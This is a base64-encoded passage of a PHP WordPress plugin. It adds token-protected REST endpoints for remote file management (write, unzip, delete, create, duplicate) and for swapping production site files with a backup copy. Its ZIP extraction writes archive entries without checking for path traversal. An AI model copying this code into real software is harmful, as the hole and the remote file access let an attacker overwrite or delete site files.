ZWNrIHBlcm1pc3Npb25zJ10sIDUwMCk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ29rJyA9PiB0cnVlLCAncGF0aCcgPT4gJGZ1bGwsICdzaXplJyA9PiBzdHJsZW4oJGNvbnRlbnQpXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIEZpbGUgbWFuYWdlcjogZXh0cmFjdCBaSVAg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3RGc1VuemlwKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKTsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CiAgICAgICAgQHNldF90aW1lX2xpbWl0KDEyMCk7CiAgICAgICAgJGJvZHkgICAgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJHppcFBhdGggPSBzZWxmOjpmbVJlc29sdmVQYXRoKCRib2R5WydwYXRoJ10gPz8gJycpOwogICAgICAgICRkZXN0UGF0aCA9IGlzc2V0KCRib2R5WydkZXN0J10pID8gc2VsZjo6Zm1SZXNvbHZlUGF0aCgkYm9keVsnZGVzdCddKSA6IGRpcm5hbWUoJHppcFBhdGgpOwoKICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCR6aXBQYXRoKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ1pJUCBmaWxlIG5vdCBmb3VuZCddLCA0MDQpOwogICAgICAgIH0KICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICBpZiAoJHppcC0+b3BlbigkemlwUGF0aCkgIT09IHRydWUpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdjYW5ub3Qgb3BlbiBaSVAgZmlsZSddLCA1MDApOwogICAgICAgIH0KICAgICAgICBpZiAoIWlzX2RpcigkZGVzdFBhdGgpKSBAbWtkaXIoJGRlc3RQYXRoLCAwNzU1LCB0cnVlKTsKCiAgICAgICAgJGV4dHJhY3RlZCA9IDA7CiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJHppcC0+bnVtRmlsZXM7ICRpKyspIHsKICAgICAgICAgICAgJHN0YXQgICAgPSAkemlwLT5zdGF0SW5kZXgoJGkpOwogICAgICAgICAgICAkcmVsUGF0aCA9ICRzdGF0WyduYW1lJ107CiAgICAgICAgICAgIGlmIChzdWJzdHIoJHJlbFBhdGgsIC0xKSA9PT0gJy8nKSBjb250aW51ZTsKICAgICAgICAgICAgJHRhcmdldCAgPSAkZGVzdFBhdGggLiAnLycgLiAkcmVsUGF0aDsKICAgICAgICAgICAgJHREaXIgICAgPSBkaXJuYW1lKCR0YXJnZXQpOwogICAgICAgICAgICBpZiAoIWlzX2RpcigkdERpcikpIEBta2RpcigkdERpciwgMDc1NSwgdHJ1ZSk7CiAgICAgICAgICAgICRkYXRhID0gJHppcC0+Z2V0RnJvbUluZGV4KCRpKTsKICAgICAgICAgICAgaWYgKCRkYXRhICE9PSBmYWxzZSAmJiBAZmlsZV9wdXRfY29udGVudHMoJHRhcmdldCwgJGRhdGEpICE9PSBmYWxzZSkgJGV4dHJhY3RlZCsrOwogICAgICAgIH0KICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ29rJyA9PiB0cnVlLCAnZXh0cmFjdGVkJyA9PiAkZXh0cmFjdGVkLCAnZGVzdCcgPT4gJGRlc3RQYXRoXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIEZpbGUgbWFuYWdlcjogZGVsZXRlIGZpbGUgb3IgZGlyZWN0b3J5IOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZXN0RnNEZWxldGUoV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KTogV1BfUkVTVF9SZXNwb25zZSB7CiAgICAgICAgJHRva2VuID0gJHJlcXVlc3QtPmdldF9oZWFkZXIoJ3hfc3dfdHJpZ2dlcl90b2tlbicpOwogICAgICAgIGlmICghJHRva2VuIHx8ICFoYXNoX2VxdWFscyhTV19QQU5FTF9UT0tFTiwgJHRva2VuKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KICAgICAgICAkYm9keSA9IGpzb25fZGVjb2RlKCRyZXF1ZXN0LT5nZXRfYm9keSgpLCB0cnVlKSA/OiBbXTsKICAgICAgICAkcGF0aCA9IHNlbGY6OmZtUmVzb2x2ZVBhdGgoJGJvZHlbJ3BhdGgnXSA/PyAnJyk7CiAgICAgICAgJHJlYWwgPSByZWFscGF0aCgkcGF0aCk7CiAgICAgICAgaWYgKCEkcmVhbCB8fCAhZmlsZV9leGlzdHMoJHJlYWwpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnbm90IGZvdW5kJ10sIDQwNCk7CiAgICAgICAgfQogICAgICAgIGlmIChpc19maWxlKCRyZWFsKSkgewogICAgICAgICAgICByZXR1cm4gQHVubGluaygkcmVhbCkKICAgICAgICAgICAgICAgID8gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydvaycgPT4gdHJ1ZV0pCiAgICAgICAgICAgICAgICA6IG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdkZWxldGUgZmFpbGVkJ10sIDUwMCk7CiAgICAgICAgfQogICAgICAgIHNlbGY6OnJtZGlyUmVjdXJzaXZlKCRyZWFsKTsKICAgICAgICByZXR1cm4gaXNfZGlyKCRyZWFsKQogICAgICAgICAgICA/IG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdkZWxldGUgZmFpbGVkJ10sIDUwMCkKICAgICAgICAgICAgOiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ29rJyA9PiB0cnVlXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIEZpbGUgbWFuYWdlcjogY3JlYXRlIGZpbGUg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3RGc0NyZWF0ZUZpbGUoV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KTogV1BfUkVTVF9SZXNwb25zZSB7CiAgICAgICAgJHRva2VuID0gJHJlcXVlc3QtPmdldF9oZWFkZXIoJ3hfc3dfdHJpZ2dlcl90b2tlbicpID8/ICcnOwogICAgICAgIGlmICghJHRva2VuIHx8ICFoYXNoX2VxdWFscyhTV19QQU5FTF9UT0tFTiwgJHRva2VuKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KICAgICAgICAkYm9keSA9IGpzb25fZGVjb2RlKCRyZXF1ZXN0LT5nZXRfYm9keSgpLCB0cnVlKSA/OiBbXTsKICAgICAgICAkcGF0aCA9ICRib2R5WydwYXRoJ10gPz8gJyc7CiAgICAgICAgaWYgKCRwYXRoID09PSAnJykgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdtaXNzaW5nIHBhdGgnXSwgNDAwKTsKICAgICAgICAkcmVzb2x2ZWQgICA9IHNlbGY6OmZtUmVzb2x2ZVBhdGgoJHBhdGgpOwogICAgICAgICRwYXJlbnRSZWFsID0gcmVhbHBhdGgoZGlybmFtZSgkcmVzb2x2ZWQpKTsKICAgICAgICBpZiAoISRwYXJlbnRSZWFsKSByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ3BhcmVudCBkaXJlY3Rvcnkgbm90IGZvdW5kJ10sIDQwMCk7CiAgICAgICAgJGZ1bGwgPSAkcGFyZW50UmVhbCAuICcvJyAuIGJhc2VuYW1lKCRyZXNvbHZlZCk7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmdWxsKSkgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdhbHJlYWR5IGV4aXN0cyddLCA0MDkpOwogICAgICAgIGlmIChAZmlsZV9wdXRfY29udGVudHMoJGZ1bGwsICcnKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdjcmVhdGUgZmFpbGVkIOKAlCBjaGVjayBwZXJtaXNzaW9ucyddLCA1MDApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydvaycgPT4gdHJ1ZSwgJ3BhdGgnID0+ICRmdWxsXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIEZpbGUgbWFuYWdlcjogY3JlYXRlIGRpcmVjdG9yeSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdEZzQ3JlYXRlRGlyKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKSA/PyAnJzsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CiAgICAgICAgJGJvZHkgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJHBhdGggPSAkYm9keVsncGF0aCddID8/ICcnOwogICAgICAgIGlmICgkcGF0aCA9PT0gJycpIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnbWlzc2luZyBwYXRoJ10sIDQwMCk7CiAgICAgICAgJHJlc29sdmVkID0gc2VsZjo6Zm1SZXNvbHZlUGF0aCgkcGF0aCk7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRyZXNvbHZlZCkpIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnYWxyZWFkeSBleGlzdHMnXSwgNDA5KTsKICAgICAgICBpZiAoIUBta2RpcigkcmVzb2x2ZWQsIDA3NTUsIHRydWUpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnbWtkaXIgZmFpbGVkIOKAlCBjaGVjayBwZXJtaXNzaW9ucyddLCA1MDApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydvaycgPT4gdHJ1ZSwgJ3BhdGgnID0+ICRyZXNvbHZlZF0pOwogICAgfQoKICAgIC8vIOKUgOKUgCBGaWxlIG1hbmFnZXI6IGR1cGxpY2F0ZSBmaWxlIG9yIGRpcmVjdG9yeSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdEZzRHVwbGljYXRlKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKSA/PyAnJzsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CiAgICAgICAgJGJvZHkgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJHBhdGggPSAkYm9keVsncGF0aCddID8/ICcnOwogICAgICAgIGlmICgkcGF0aCA9PT0gJycpIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnbWlzc2luZyBwYXRoJ10sIDQwMCk7CiAgICAgICAgJHJlYWwgPSByZWFscGF0aChzZWxmOjpmbVJlc29sdmVQYXRoKCRwYXRoKSk7CiAgICAgICAgaWYgKCEkcmVhbCB8fCAhZmlsZV9leGlzdHMoJHJlYWwpKSByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ3NvdXJjZSBub3QgZm91bmQnXSwgNDA0KTsKCiAgICAgICAgJGRpciAgPSBkaXJuYW1lKCRyZWFsKTsKICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRyZWFsKTsKICAgICAgICAkZXh0ICA9IGlzX2ZpbGUoJHJlYWwpID8gKGZhbHNlICE9PSAoJHAgPSBzdHJycG9zKCRuYW1lLCAnLicpKSA/IHN1YnN0cigkbmFtZSwgJHApIDogJycpIDogJyc7CiAgICAgICAgJGJhc2UgPSAkZXh0ICE9PSAnJyA/IHN1YnN0cigkbmFtZSwgMCwgLXN0cmxlbigkZXh0KSkgOiAkbmFtZTsKICAgICAgICAkZGVzdCA9ICRkaXIgLiAnLycgLiAkYmFzZSAuICdfY29weScgLiAkZXh0OwogICAgICAgICRpID0gMjsKICAgICAgICB3aGlsZSAoZmlsZV9leGlzdHMoJGRlc3QpKSB7CiAgICAgICAgICAgICRkZXN0ID0gJGRpciAuICcvJyAuICRiYXNlIC4gJ19jb3B5JyAuICRpIC4gJGV4dDsKICAgICAgICAgICAgJGkrKzsKICAgICAgICB9CgogICAgICAgIGlmIChpc19maWxlKCRyZWFsKSkgewogICAgICAgICAgICBpZiAoIUBjb3B5KCRyZWFsLCAkZGVzdCkpIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnY29weSBmYWlsZWQg4oCUIGNoZWNrIHBlcm1pc3Npb25zJ10sIDUwMCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCFzZWxmOjpjb3B5RGlyUmVjdXJzaXZlKCRyZWFsLCAkZGVzdCkpIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnY29weSBmYWlsZWQg4oCUIGNoZWNrIHBlcm1pc3Npb25zJ10sIDUwMCk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ29rJyA9PiB0cnVlLCAnZGVzdCcgPT4gJGRlc3QsICduYW1lJyA9PiBiYXNlbmFtZSgkZGVzdCldKTsKICAgIH0KCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBjb3B5RGlyUmVjdXJzaXZlKHN0cmluZyAkc3JjLCBzdHJpbmcgJGRzdCk6IGJvb2wgewogICAgICAgIGlmICghQG1rZGlyKCRkc3QsIDA3NTUsIHRydWUpKSByZXR1cm4gZmFsc2U7CiAgICAgICAgJGl0ZW1zID0gQHNjYW5kaXIoJHNyYyk7CiAgICAgICAgaWYgKCEkaXRlbXMpIHJldHVybiBmYWxzZTsKICAgICAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsKICAgICAgICAgICAgaWYgKCRpdGVtID09PSAnLicgfHwgJGl0ZW0gPT09ICcuLicpIGNvbnRpbnVlOwogICAgICAgICAgICAkcyA9ICRzcmMgLiAnLycgLiAkaXRlbTsKICAgICAgICAgICAgJGQgPSAkZHN0IC4gJy8nIC4gJGl0ZW07CiAgICAgICAgICAgIGlmICghKCBpc19kaXIoJHMpID8gc2VsZjo6Y29weURpclJlY3Vyc2l2ZSgkcywgJGQpIDogQGNvcHkoJHMsICRkKSApKSByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8vIOKUgOKUgCBTd2l0Y2ggaGVscGVycyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIC8vIEJhY2t1cCBsaXZlcyBJTlNJREUgdGhlIHNpdGUgcm9vdDogQUJTUEFUSC9iYWNrdXAvCiAgICAvLyB3cC1jb25maWcucGhwLCB3cC1hZG1pbi8sIHdwLWluY2x1ZGVzLyBhcmUgTkVWRVIgc3dhcHBlZC4KICAgIC8vIE9ubHkgd3AtY29udGVudC8gYW5kIHJvb3QgUEhQIGZpbGVzIGFyZSBzd2FwcGVkLgogICAgLy8gQWxsIHJlbmFtZXMgaGFwcGVuIHdpdGhpbiBBQlNQQVRIIOKAlCBubyBwYXJlbnQgZGlyZWN0b3J5IGFjY2VzcyBuZWVkZWQuCgogICAgLy8gUm9vdCBmaWxlcyB0byBzd2FwIChyZWxhdGl2ZSB0byBBQlNQQVRIIGFuZCB0byBBQlNQQVRIL2JhY2t1cC8pCiAgICBwcml2YXRlIHN0YXRpYyAkc3dhcEZpbGVzID0gWwogICAgICAgICd3cC1jb250ZW50JywgICAgICAgIC8vIGRpcmVjdG9yeSDigJQgb25lIHJlbmFtZSBjb3ZlcnMgZXZlcnl0aGluZyBpbnNpZGUKICAgICAgICAnaW5kZXgucGhwJywKICAgICAgICAnd3AtYmxvZy1oZWFkZXIucGhwJywKICAgICAgICAnd3Atc2V0dGluZ3MucGhwJywKICAgICAgICAnd3AtbG9naW4ucGhwJywKICAgICAgICAnd3AtY3Jvbi5waHAnLAogICAgICAgICd3cC1hY3RpdmF0ZS5waHAnLAogICAgICAgICd3cC1jb21tZW50cy1wb3N0LnBocCcsCiAgICAgICAgJ3dwLXNpZ251cC5waHAnLAogICAgICAgICd3cC10cmFja2JhY2sucGhwJywKICAgICAgICAnd3AtbGlua3Mtb3BtbC5waHAnLAogICAgICAgICd3cC1tYWlsLnBocCcsCiAgICAgICAgJ3htbHJwYy5waHAnLAogICAgICAgICcuaHRhY2Nlc3MnLAogICAgICAgICd3cC1sb2FkLnBocCcsCiAgICBdOwoKICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIHN3aXRjaEluZm8oKTogYXJyYXkgewogICAgICAgICRhYnMgICAgICAgPSBydHJpbShyZWFscGF0aChBQlNQQVRIKSwgJy8nKTsKICAgICAgICAkYmFja3VwRGlyID0gJGFicyAuICcvYmFja3VwJzsKICAgICAgICAkc3RhdGVGaWxlID0gJGFicyAuICcvLnN3LXN3aXRjaCc7CiAgICAgICAgJGlzT25CayAgICA9IGZpbGVfZXhpc3RzKCRzdGF0ZUZpbGUpOwoKICAgICAgICAvLyBDb3VudCBob3cgbWFueSBzd2FwIHRhcmdldHMgZXhpc3QgaW4gYmFja3VwLwogICAgICAgICRyZWFkeSA9IGlzX2RpcigkYmFja3VwRGlyKTsKCiAgICAgICAgcmV0dXJuIFsKICAgICAgICAgICAgJ2FjdGl2ZScgICAgICAgPT4gJGlzT25CayA/ICdiYWNrdXAnIDogJ3Byb2R1Y3Rpb24nLAogICAgICAgICAgICAnYWJzcGF0aCcgICAgICA9PiAkYWJzLAogICAgICAgICAgICAnYmFja3VwX2RpcicgICA9PiAkYmFja3VwRGlyLAogICAgICAgICAgICAnYmFja3VwX3JlYWR5JyA9PiAkcmVhZHksCiAgICAgICAgICAgICdzdGF0ZV9maWxlJyAgID0+ICRzdGF0ZUZpbGUsCiAgICAgICAgXTsKICAgIH0KCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBkb1N3YXAoc3RyaW5nICRhYnMsIHN0cmluZyAkZnJvbSwgc3RyaW5nICR0bywgc3RyaW5nICRzdWZmaXgpOiBhcnJheSB7CiAgICAgICAgJGVycm9ycyA9IFtdOwogICAgICAgIGZvcmVhY2ggKHNlbGY6OiRzd2FwRmlsZXMgYXMgJG5hbWUpIHsKICAgICAgICAgICAgJHNyYyAgPSAkZnJvbSAuICcvJyAuICRuYW1lOwogICAgICAgICAgICAkZGVzdCA9ICR0byAgIC4gJy8nIC4gJG5hbWU7CiAgICAgICAgICAgICRiYWsgID0gJGFicyAgLiAnLycgLiAkbmFtZSAuICRzdWZmaXg7IC8vIHRlbXAgbmFtZSBkdXJpbmcgc3dhcAoKICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkc3JjKSAmJiAhaXNfZGlyKCRzcmMpKSBjb250aW51ZTsKCiAgICAgICAgICAgIC8vIFNhdmUgY3VycmVudCDihpIgdGVtcCwgdGhlbiBicmluZyBuZXcg4oaSIGN1cnJlbnQKICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRhYnMgLiAnLycgLiAkbmFtZSkgfHwgaXNfZGlyKCRhYnMgLiAnLycgLiAkbmFtZSkpIHsKICAgICAgICAgICAgICAgIGlmICghcmVuYW1lKCRhYnMgLiAnLycgLiAkbmFtZSwgJGJhaykpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3JzW10gPSAnY2Fubm90IHNhdmUgJyAuICRuYW1lOyBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIXJlbmFtZSgkc3JjLCAkYWJzIC4gJy8nIC4gJG5hbWUpKSB7CiAgICAgICAgICAgICAgICAvLyBSb2xsYmFjayB0aGUgc2F2ZQogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRiYWspIHx8IGlzX2RpcigkYmFrKSkgcmVuYW1lKCRiYWssICRhYnMgLiAnLycgLiAkbmFtZSk7CiAgICAgICAgICAgICAgICAkZXJyb3JzW10gPSAnY2Fubm90IHJlc3RvcmUgJyAuICRuYW1lOyBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAvLyBNb3ZlIHRoZSBzYXZlZCB2ZXJzaW9uIHRvIHRoZSBvdGhlciBzaWRlCiAgICAgICAgICAgIGlmICgoZmlsZV9leGlzdHMoJGJhaykgfHwgaXNfZGlyKCRiYWspKSAmJiAhcmVuYW1lKCRiYWssICRkZXN0KSkgewogICAgICAgICAgICAgICAgJGVycm9yc1tdID0gJ2Nhbm5vdCBtb3ZlIG9sZCAnIC4gJG5hbWUgLiAnIHRvIGJhY2t1cCc7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRlcnJvcnM7CiAgICB9CgogICAgLy8g4pSA4pSAIFN3aXRjaDogZ2V0IHN0YXRlIC8gcGVyZm9ybSBzd2l0Y2gg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3RTd2l0Y2goV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KTogV1BfUkVTVF9SZXNwb25zZSB7CiAgICAgICAgJHRva2VuID0gJHJlcXVlc3QtPmdldF9oZWFkZXIoJ3hfc3dfdHJpZ2dlcl90b2tlbicpOwogICAgICAgIGlmICghJHRva2VuIHx8ICFoYXNoX2VxdWFscyhTV19QQU5FTF9UT0tFTiwgJHRva2VuKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KICAgICAgICAkaW5mbyA9IHNlbGY6OnN3aXRjaEluZm8oKTsKCiAgICAgICAgaWYgKCRyZXF1ZXN0LT5nZXRfbWV0aG9kKCkgPT09ICdHRVQnKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZSgkaW5mbyk7CiAgICAgICAgfQoKICAgICAgICAkYm9keSAgID0ganNvbl9kZWNvZGUoJHJlcXVlc3QtPmdldF9ib2R5KCksIHRydWUpID86IFtdOwogICAgICAgICRhY3Rpb24gPSAkYm9keVsnYWN0aW9uJ10gPz8gJyc7CiAgICAgICAgJGFicyAgICA9ICRpbmZvWydhYnNwYXRoJ107CiAgICAgICAgJGJrRGlyICA9ICRpbmZvWydiYWNrdXBfZGlyJ107CgogICAgICAgIGlmICgkYWN0aW9uID09PSAndG9fYmFja3VwJykgewogICAgICAgICAgICBpZiAoJGluZm9bJ2FjdGl2ZSddID09PSAnYmFja3VwJykgewogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdBbHJlYWR5IG9uIGJhY2t1cCddLCA0MDApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghJGluZm9bJ2JhY2t1cF9yZWFkeSddKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ05vIHByZXBhcmVkIGJhY2t1cCBhdCAnIC4gJGJrRGlyIC4gJy4gVXNlICJQcmVwYXJlIFN3aXRjaCIgZmlyc3QuJ10sIDQwNCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gU3dhcDogdGFrZSBmaWxlcyBmcm9tIGJhY2t1cC8sIHNhdmUgY3VycmVudCB0byBiYWNrdXAvCiAgICAgICAgICAgICRlcnJvcnMgPSBzZWxmOjpkb1N3YXAoJGFicywgJGJrRGlyLCAkYmtEaXIsICcuc3ctbWFpbicpOwogICAgICAgICAgICBpZiAoJGVycm9ycykgewogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdTd2FwIHBhcnRpYWxseSBmYWlsZWQ6ICcgLiBpbXBsb2RlKCc7ICcsICRlcnJvcnMpXSwgNTAwKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGluZm9bJ3N0YXRlX2ZpbGUnXSwgZGF0ZSgnYycpKTsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnb2snID0+IHRydWUsICdhY3RpdmUnID0+ICdiYWNrdXAnXSk7CiAgICAgICAgfQoKICAgICAgICBpZiAoJGFjdGlvbiA9PT0gJ3RvX3Byb2R1Y3Rpb24nKSB7CiAgICAgICAgICAgIGlmICgkaW5mb1snYWN0aXZlJ10gIT09ICdiYWNrdXAnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ0FscmVhZHkgb24gcHJvZHVjdGlvbiddLCA0MDApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC8vIFN3YXAgYmFjazogdGFrZSBmaWxlcyBmcm9tIGJhY2t1cC8gKHdoZXJlIHByb2R1Y3Rpb24gd2FzIHNhdmVkKSwgcmVzdG9yZQogICAgICAgICAgICAkZXJyb3JzID0gc2VsZjo6ZG9Td2FwKCRhYnMsICRia0RpciwgJGJrRGlyLCAnLnN3LWJrJyk7CiAgICAgICAgICAgIGlmICgkZXJyb3JzKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JF